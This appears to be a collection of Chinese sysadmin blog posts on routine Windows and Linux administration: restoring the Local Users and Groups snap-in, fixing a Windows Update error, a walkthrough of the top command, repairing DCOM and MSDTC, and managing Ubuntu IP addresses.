今天在做一台服务器安全时出了点问题,估计是之前管理员设置了安全的问题,在计算机管理里面 本地用户和组不见了。。。

本地用户和组不见了|组策略管 理单元受到策略限制gpedit.msc配置管理模板。在“计算机管理”没有本地用户和组,运行“lusrmgr.msc”系统提示说:下面在该文档中引用的管理单元受到策略限制,运行“Control userpasswords2”选“高级”再选“高级”系统提示和上边的一样。
网上找了好久,总结了一下,有三个办法,结果就有一个有效。。
1.试了下这个方法,对我的一点影响多没有。。无效。。。
开启server服务
开始,运行,regsvr32 /u msxml3.dll 弹出框后确定,再打regsvr32 msxml3.dll 重新注册一下msxml3.dll,应该就可以了 另外还有一个更绝的,把全部dll重新注册一遍: 开始,运行,cmd,粘贴这样一句话: for %1 in (%windir%\system32\*.dll) do regsvr32.exe
2.试了下,权限确实要重新设置
运行regedit查看注册表HKEY_LOCAL_MACHINE\SAM\SAM\DOMAINS\Accout\Users\Names 查看不明账号删除如果到了SAM\SAM后没显示项,在SAM-右键-权限-administrator勾选完全控制和读取-确定或administrator高级–编辑-在”允许”框中选择”写入DAC”及”读取控制”–确定。重启后就见到选项了。
3.这个对我的问题有效
运行“gpedit.msc”打开组策略
在用户配置/管理模板/windows组件/Microsoft Management Console/受限的、许可的管理单元下面看到“本地用户和组”,双击并把它设为允许,即可。
且在该目录下有磁盘管理,设备管理器等管理单元可以选择,管理单元受到策略限制这个错误应该多可以在这个里面解决。

Windows 2008 Update错误80072EE2的解决方法

2013年8月1日 没有评论

今天给客户新安装了台win2008r2sp1的64位系统的台湾服务器。做好安全打补丁时发现以下问题:
windows update提示无法更新。错误80072EE2。经查可按以下办法进行排查解决问题。

1、停止windows update服务

进入“控制面板”下的“系统和安全”,单击打开“管理工具”,

双击“服务”,找到“Windows Update”服务,右键单击该服务,然后单击“停止”。

2、删除windows update更新临时文件

进入系统所在磁盘,进入windows文件夹,找到打开目录下的SoftwareDistribution 文件夹(或者直接复制这段地址粘贴到资源管理器的地址栏进入文件夹C:\Windows\SoftwareDistribution)。删除DataStore 和Download 文件夹下的所有文件。

3、重新启动电脑或是服务器后

按照步骤1中的步骤右键单击windows update服务,打击“启动”。(默认是已经自动启动了)

Linux Top 命令解析

2013年1月20日 没有评论

TOP是一个动态显示过程,即可以通过用户按键来不断刷新当前状态.如果在前台执行该命令,它将独占前台,直到用户终止该程序为止.比较准确的说,top命令提供了实时的对系统处理器的状态监视.它将显示系统中CPU最“敏感”的任务列表.该命令可以按CPU使用.内存使用和执行时间对任务进行排序;而且该命令的很多特性都可以通过交互式命令或者在个人定制文件中进行设定.

top – 12:38:33 up 50 days, 23:15,  7 users,  load average: 60.58, 61.14, 61.22

Tasks: 203 total,  60 running, 139 sleeping,   4 stopped,   0 zombie

Cpu(s)  : 27.0%us, 73.0%sy,  0.0%ni,  0.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st

Mem:   1939780k total,  1375280k used,   564500k free,   109680k buffers

Swap:  4401800k total,   497456k used,  3904344k free,   848712k cached

PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND

4338 oracle    25   0  627m 209m 207m R    0 11.0 297:14.76 oracle

4267 oracle    25   0  626m 144m 143m R    6  7.6  89:16.62 oracle

3458 oracle    25   0  672m 133m 124m R    0  7.1   1283:08 oracle

3478 oracle    25   0  672m 124m 115m R    0  6.6   1272:30 oracle

3395 oracle    25   0  672m 122m 113m R    0  6.5   1270:03 oracle

3480 oracle    25   0  672m 122m 109m R    8  6.4   1274:13 oracle

3399 oracle    25   0  672m 121m 110m R    0  6.4   1279:37 oracle

4261 oracle    25   0  634m 100m  99m R    0  5.3  86:13.90 oracle

25737 oracle    25   0  632m  81m  74m R    0  4.3 272:35.42 oracle

7072 oracle    25   0  626m  72m  71m R    0  3.8   6:35.68 oracle

16073 oracle    25   0  630m  68m  63m R    8  3.6 175:20.36 oracle

16140 oracle    25   0  630m  66m  60m R    0  3.5 175:13.42 oracle

16122 oracle    25   0  630m  66m  60m R    0  3.5 176:47.73 oracle

786 oracle    25   0  627m  63m  63m R    0  3.4   1:54.93 oracle

4271 oracle    25   0  627m  59m  58m R    8  3.1  86:09.64 oracle

4273 oracle    25   0  627m  57m  56m R    8  3.0  84:38.20 oracle

22670 oracle    25   0  626m  50m  49m R    0  2.7  84:55.82 oracle

一.  TOP前五行统计信息

统计信息区前五行是系统整体的统计信息。

1. 第一行是任务队列信息

同 uptime  命令的执行结果:

[root@localhost ~]# uptime

13:22:30 up 8 min,  4 users,  load average: 0.14, 0.38, 0.25

其内容如下:

12:38:33

当前时间

up 50days

系统运行时间,格式为时:分

1 user

当前登录用户数

load average: 0.06, 0.60, 0.48

系统负载,即任务队列的平均长度。 三个数值分别为  1分钟、5分钟、15分钟前到现在的平均值。

2. 第二、三行为进程和CPU的信息

当有多个CPU时,这些内容可能会超过两行。内容如下:

Tasks: 29 total

进程总数

1 running

正在运行的进程数

28 sleeping

睡眠的进程数

0 stopped

停止的进程数

0 zombie

僵尸进程数

Cpu(s): 0.3% us

用户空间占用CPU百分比

1.0% sy

内核空间占用CPU百分比

0.0% ni

用户进程空间内改变过优先级的进程占用CPU百分比

98.7% id

空闲CPU百分比

0.0% wa

等待输入输出的CPU时间百分比

0.0% hi

0.0% si

3. 第四五行为内存信息。

内容如下:

Mem: 191272k total

物理内存总量

173656k used

使用的物理内存总量

17616k free

空闲内存总量

22052k buffers

用作内核缓存的内存量

Swap: 192772k total

交换区总量

0k used

使用的交换区总量

192772k free

空闲交换区总量

123988k cached

缓冲的交换区总量。 内存中的内容被换出到交换区,而后又被换入到内存,但使用过的交换区尚未被覆盖, 该数值即为这些内容已存在于内存中的交换区的大小。相应的内存再次被换出时可不必再对交换区写入。

二.  进程信息

列名 含义
PID 进程id
PPID 父进程id
RUSER Real user name
UID 进程所有者的用户id
USER 进程所有者的用户名
GROUP 进程所有者的组名
TTY 启动进程的终端名。不是从终端启动的进程则显示为 ?
PR 优先级
NI nice值。负值表示高优先级,正值表示低优先级
P 最后使用的CPU,仅在多CPU环境下有意义
%CPU 上次更新到现在的CPU时间占用百分比
TIME 进程使用的CPU时间总计,单位秒
TIME+ 进程使用的CPU时间总计,单位1/100秒
%MEM 进程使用的物理内存百分比
VIRT 进程使用的虚拟内存总量,单位kb。VIRT=SWAP+RES
SWAP 进程使用的虚拟内存中,被换出的大小,单位kb。
RES 进程使用的、未被换出的物理内存大小,单位kb。RES=CODE+DATA
CODE 可执行代码占用的物理内存大小,单位kb
DATA 可执行代码以外的部分(数据段+栈)占用的物理内存大小,单位kb
SHR 共享内存大小,单位kb
nFLT 页面错误次数
nDRT 最后一次写入到现在,被修改过的页面数。
S 进程状态。
D=不可中断的睡眠状态
R=运行
S=睡眠
T=跟踪/停止
Z=僵尸进程
COMMAND 命令名/命令行
WCHAN 若该进程在睡眠,则显示睡眠中的系统函数名
Flags 任务标志,参考 sched.h

top 的man 命令解释如下:

Listed below are top’s available fields.  They are always associated with the  letter  shown,  regardless  of the position you may have established for them with the ’o’ (Order fields) interactive command.Any field is selectable as the sort field, and you control whether they are  sorted high-to-low  or  low-to-high.   For  additional  information on sort provisions see  topic 3c. TASK Area Commands.

a: PID  –  Process Id

The task’s unique process ID, which periodically wraps, though never  restarting at zero.

b: PPID  –  Parent Process Pid

The process ID of a task’s parent.

c: RUSER  –  Real User Name

The real user name of the task’s owner.

d: UID  –  User Id

The effective user ID of the task’s owner.

e: USER  –  User Name

The effective user name of the task’s owner.

f: GROUP  –  Group Name

The effective group name of the task’s owner.

g: TTY  –  Controlling Tty

The  name of the controlling terminal.  This is usually the device (serial port, pty, etc.) from which the process was started, and which it uses  for  input  oroutput.   However,  a task need not be associated with a terminal, in which case you’ll see ‘?’ displayed.

h: PR  –  Priority

The priority of the task.

i: NI  –  Nice value

The nice value of the task.   A  negative  nice  value  means  higher  priority, whereas  a  positive nice value means lower priority.  Zero in this field simply means priority will not be adjusted in determining a task’s dispatchability.

j: P  –  Last used CPU (SMP)

A number representing the last used processor.  In a true SMP  environment  this will likely change frequently since the kernel intentionally uses weak affinity. Also, the very act of running top may break this weak affinity  and  cause  more processes  to change CPUs more often (because of the extra demand for cpu time).

k: %CPU  –  CPU usage

The task’s share of the elapsed CPU time since the last screen update, expressed as a percentage of total CPU time.  In a true SMP environment, if ‘Irix mode’ is Off, top will operate in ‘Solaris mode’ where a task’s cpu usage will be divided by  the  total  number  of  CPUs.   You toggle ‘Irix/Solaris’ modes with the ‘I’ interactive command.

l: TIME  –  CPU Time

Total CPU time the task has used since it started.  When  ’Cumulative  mode’  is On,  each  process is listed with the cpu time that it and its dead children has used.  You toggle ‘Cumulative mode’ with ‘S’, which is a command-line option and an interactive command.  See the ‘S’ interactive command for additional information regarding this mode.

m: TIME+  –  CPU Time, hundredths

The same as ‘TIME’, but reflecting more granularity through hundredths of a sec          ond.

n: %MEM  –  Memory usage (RES)

A task’s currently used share of available physical memory.

o: VIRT  –  Virtual Image (kb)

The total amount of virtual memory used by the task.  It includes all code, data and shared libraries plus pages that have  been  swapped  out.  (Note:  you  can define  the STATSIZE=1 environment variable and the VIRT will be calculated from the /proc/#/state VmSize field.)

VIRT = SWAP + RES.

p: SWAP  –  Swapped size (kb)

The swapped out portion of a task’s total virtual memory image.

q: RES  –  Resident size (kb)

The non-swapped physical memory a task has used.

RES = CODE + DATA.

r: CODE  –  Code size (kb)

The amount of physical memory devoted to executable  code,  also  known  as  the’text resident set’ size or TRS.

s: DATA  –  Data+Stack size (kb)

The  amount of physical memory devoted to other than executable code, also known the ‘data resident set’ size or DRS.

t: SHR  –  Shared Mem size (kb)

The amount of shared memory used by a task.   It  simply  reflects  memory  that could be potentially shared with other processes.

u: nFLT  –  Page Fault count

The  number  of  major  page faults that have occurred for a task.  A page fault occurs when a process attempts to read from or write to a virtual page  that  is not  currently  present  in  its address space.  A major page fault is when disk access is involved in making that page available.

v: nDRT  –  Dirty Pages count

The number of pages that have been modified since  they  were  last  written  to disk.   Dirty  pages  must  be written to disk before the corresponding physical memory location can be used for some other virtual page.

w: S  –  Process Status

The status of the task which can be one of:

‘D’ = uninterruptible sleep

‘R’ = running

‘S’ = sleeping

‘T’ = traced or stopped

‘Z’ = zombie

Tasks shown as running should be more properly thought of as ‘ready to run’  –their  task_struct is simply represented on the Linux run-queue.  Even without a true SMP machine, you may see numerous tasks in this state  depending  on  top’s delay interval and nice value.

x: Command  –  Command line or Program name

Display the command line used to start a task or the name of the associated program.  You toggle between command line and name with ‘c’, which is both  a  command-line option and an interactive command. When  you’ve  chosen  to display command lines, processes without a command line (like kernel threads) will be shown with only the program name  in  parentheses, as in this example:                ( mdrecoveryd ) Either  form  of  display is subject to potential truncation if it’s too long to fit in this field’s  current  width.   That  width  depends  upon  other  fields  selected, their order and the current screen width.

Note: The ‘Command’ field/column is unique, in that it is not fixed-width.  When displayed, this column will be allocated all remaining screen width (up  to  the maximum  512  characters)  to  provide for the potential growth of program names into command lines.

y: WCHAN  –  Sleeping in Function

Depending on the availability of the kernel link map (‘System.map’), this  field will  show  the  name or the address of the kernel function in which the task is currently sleeping.  Running tasks will display a dash (‘-’) in this column.

Note: By displaying this field, top’s own working set will be increased by  over 700Kb.   Your  only  means of reducing that overhead will be to stop and restart          top.

z: Flags  –  Task Flags

This column represents the task’s current scheduling flags which  are  expressed in  hexadecimal  notation and with zeros suppressed.  These flags are officially documented in <linux/sched.h>.  Less formal documentation can also be  found  on the ‘Fields select’ and ‘Order fields’ screens.

默认情况下仅显示比较重要的  PID、USER、PR、NI、VIRT、RES、SHR、S、%CPU、%MEM、TIME+、COMMAND  列。

2.1 用快捷键更改显示内容。
(1)更改显示内容通过 f键可以选择显示的内容。

按 f 键之后会显示列的列表,按 a-z  即可显示或隐藏对应的列,最后按回车键确定。

(2)按o键可以改变列的显示顺序。

按小写的 a-z 可以将相应的列向右移动,而大写的 A-Z  可以将相应的列向左移动。最后按回车键确定。

按大写的 F 或 O 键,然后按 a-z 可以将进程按照相应的列进行排序。而大写的  R 键可以将当前的排序倒转。

设置完按回车返回界面。

三.  命令使用

详细内容可以参考MAN 帮助文档。这里列举部分内容:

命令格式:

top [-] [d] [p] [q] [c] [C] [S]    [n]

参数说明:

d:  指定每两次屏幕信息刷新之间的时间间隔。当然用户可以使用s交互命令来改变之。

p:  通过指定监控进程ID来仅仅监控某个进程的状态。

q:该选项将使top没有任何延迟的进行刷新。如果调用程序有超级用户权限,那么top将以尽可能高的优先级运行。

S: 指定累计模式

s : 使top命令在安全模式中运行。这将去除交互命令所带来的潜在危险。

i:  使top不显示任何闲置或者僵死进程。

c:  显示整个命令行而不只是显示命令名

在top命令的显示窗口,我们还可以输入以下字母,进行一些交互:

帮助文档如下:

Help for Interactive Commands – procps version 3.2.7

Window 1:Def: Cumulative mode Off.  System: Delay 4.0 secs; Secure mode Off.

Z,B       Global: ‘Z’ change color mappings; ‘B’ disable/enable bold

l,t,m     Toggle Summaries: ‘l’ load avg; ‘t’ task/cpu stats; ‘m’ mem info

1,I       Toggle SMP view: ’1′ single/separate states; ‘I’ Irix/Solaris mode

f,o     . Fields/Columns: ‘f’ add or remove; ‘o’ change display order

F or O  . Select sort field

<,>     . Move sort field: ‘<’ next col left; ‘>’ next col right

R,H     . Toggle: ‘R’ normal/reverse sort; ‘H’ show threads

c,i,S   . Toggle: ‘c’ cmd name/line; ‘i’ idle tasks; ‘S’ cumulative time

x,y     . Toggle highlights: ‘x’ sort field; ‘y’ running tasks

z,b     . Toggle: ‘z’ color/mono; ‘b’ bold/reverse (only if ‘x’ or ‘y’)

u       . Show specific user only

n or #  . Set maximum tasks displayed

k,r       Manipulate tasks: ‘k’ kill; ‘r’ renice

d or s    Set update interval

W         Write configuration file

q         Quit

( commands shown with ‘.’ require a visible task display window )

Press ‘h’ or ‘?’ for help with Windows,

h或者?  : 显示帮助画面,给出一些简短的命令总结说明。

k  :终止一个进程。系统将提示用户输入需要终止的进程PID,以及需要发送给该进程什么样的信号。一般的终止进程可以使用15信号;如果不能正常结束那就使用信号9强制结束该进程。默认值是信号15。在安全模式中此命令被屏蔽。

i:忽略闲置和僵死进程。这是一个开关式命令。

q:  退出程序。

r:  重新安排一个进程的优先级别。系统提示用户输入需要改变的进程PID以及需要设置的进程优先级值。输入一个正值将使优先级降低,反之则可以使该进程拥有更高的优先权。默认值是10。

S:切换到累计模式。

s :  改变两次刷新之间的延迟时间。系统将提示用户输入新的时间,单位为s。如果有小数,就换算成ms。输入0值则系统将不断刷新,默认值是5 s。需要注意的是如果设置太小的时间,很可能会引起不断刷新,从而根本来不及看清显示的情况,而且系统负载也会大大增加。

f或者F :从当前显示中添加或者删除项目。

o或者O  :改变显示项目的顺序。

l: 切换显示平均负载和启动时间信息。即显示影藏第一行

m: 切换显示内存信息。即显示影藏内存行

t : 切换显示进程和CPU状态信息。即显示影藏CPU行

c:  切换显示命令名称和完整命令行。 显示完整的命令。 这个功能很有用。

M : 根据驻留内存大小进行排序。

P:根据CPU使用百分比大小进行排序。

T: 根据时间/累计时间进行排序。

W:  将当前设置写入~/.toprc文件中。这是写top配置文件的推荐方法。

分类: Linux 标签: , , , ,

DCOM配置时右键属性不见的解决办法

2013年1月3日 没有评论

需要进行MapXTreme服务的Dcom安全进行配置,但是运行DCOMCNFG,进到组件服务中,

在MapBroker Application上 右击却没有出现属性,只有查看一项。

解决方法 :请确保下面四个服务是开着的话,那就能确保右键的属性能够出现。
1、Remote Procedure Call (RPC)
2、COM+ Event System
3、DCOM Server Process Launcher
4、Distributed Transaction Coordinator
然后再进入组件服务,就能在DCOM配置中看到右键的属性了,并且组件服务计算机中的”我的电脑”上的那个红色的向下箭头也消失了。

以上这四个服务中 最有可能MsDTC 服务无法启动,提示 :

无法启动DTC 服务,错误1067:进程意外终止。

解决方法:
删除注册表中的键:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSDTC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC
HKEY_CLASSES_ROOT\CID
停止MSDTC服务:net stop msdtc
卸载MSDTC服务:msdtc -uninstall
重新安装MSDTC服务:msdtc -install

Ubuntu给网卡增加和删除IP地址

2012年12月11日 没有评论

永久修改
修改/etc/network/interfaces

1
vim /etc/network/interfaces
1
2
3
4
5
6
7
8
9
10
auto eth0
iface eth0 inet static
    address 172.16.3.123
    netmask 255.255.255.0
    gateway 172.16.3.1
 
auto eth0:1
iface eth0:1 inet static
    address 10.16.3.123
    netmask 255.255.0.0

然后使用以下命令重启网卡配置并生效。

1
ifup eth0:1

注:不要使用/etc/init.d/network restart的方法!!

动态修改方法1
#网卡上增加一个IP:

1
ifconfig eth0:1 192.168.0.1 netmask 255.255.255.0

#删除网卡的第二个IP地址:

1
ip addr del 192.168.0.1 dev eth0

这种方式增加的虚拟IP,可以通过ifconfig查看

动态修改方法2
另一种增加虚拟IP的方法(ifconfig查看不到):
增加虚拟IP:

1
ip -f inet addr add 192.168.146.229/32 brd 192.168.146.229 dev eth0

查看虚拟IP:

1
ip -f inet addr

删除虚拟IP:

1
ip -f inet addr delete 192.168.146.229/32 brd 192.168.146.229 dev eth0
分类: Linux 标签: , , , , ,